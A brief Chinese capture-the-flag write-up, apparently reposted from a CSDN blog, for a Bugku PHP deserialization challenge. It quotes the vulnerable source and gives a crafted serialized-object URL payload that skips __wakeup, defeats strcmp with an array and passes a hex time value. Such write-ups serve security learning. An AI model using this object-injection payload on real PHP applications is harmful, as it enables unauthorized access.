bugku http://123.206.31.85:10012 rua233333


<html>
<h1>Please don't stop rua 233333</h1><br>




<!--

class Time{
	public $flag = ******************;
	public $truepassword = ******************;
	public $time;
	public $password ;
	public function __construct($tt, $pp) {
    $this->time = $tt;
    $this->password = $pp;
    }
	function __destruct(){
		if(!empty($this->password))
		{
			if(strcmp($this->password,$this->truepassword)==0){
				echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
				if(!empty($this->time)){
					if(!is_numeric($this->time)){
						echo 'Sorry.<br>';
						show_source(__FILE__);
					}
					else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
						echo 'you need a bigger time.<br>';
					}
					else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
						echo 'you need a smaller time.<br>';
					}
					else{
						sleep((int)$this->time);
						var_dump($this->flag);
					}
					echo '<hr>';
				}
				else{
					echo '<h1>you have no time!!!!!</h1><br>';
				}
			}
			else{
				echo '<h1>Password is wrong............</h1><br>';
			}
		}
		else{
			echo "<h1>Please input password..........</h1><br>";
		}
	}
	function __wakeup(){
		$this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';
	}
}
if(isset($_GET['rua'])){
	$rua = $_GET['rua'];
	@unserialize($rua);
}
else{
	echo "<h1>Please don't stop rua 233333</h1><br>";
}

--!>



</html>

经典的反序列。。

于是设置参数为

http://123.206.31.85:10012/?rua=O:4:%22Time%22:4:{s:4:%22time%22;s:10:%220x4c06f350%22;s:8:%22password%22;a:2:{i:0;s:1:%22a%22;i:1;s:1:%22b%22;}}

payload来自  https://blog.csdn.net/weixin_42348709/article/details/84895343

猜你喜欢

转载自blog.csdn.net/qq_35396598/article/details/85290909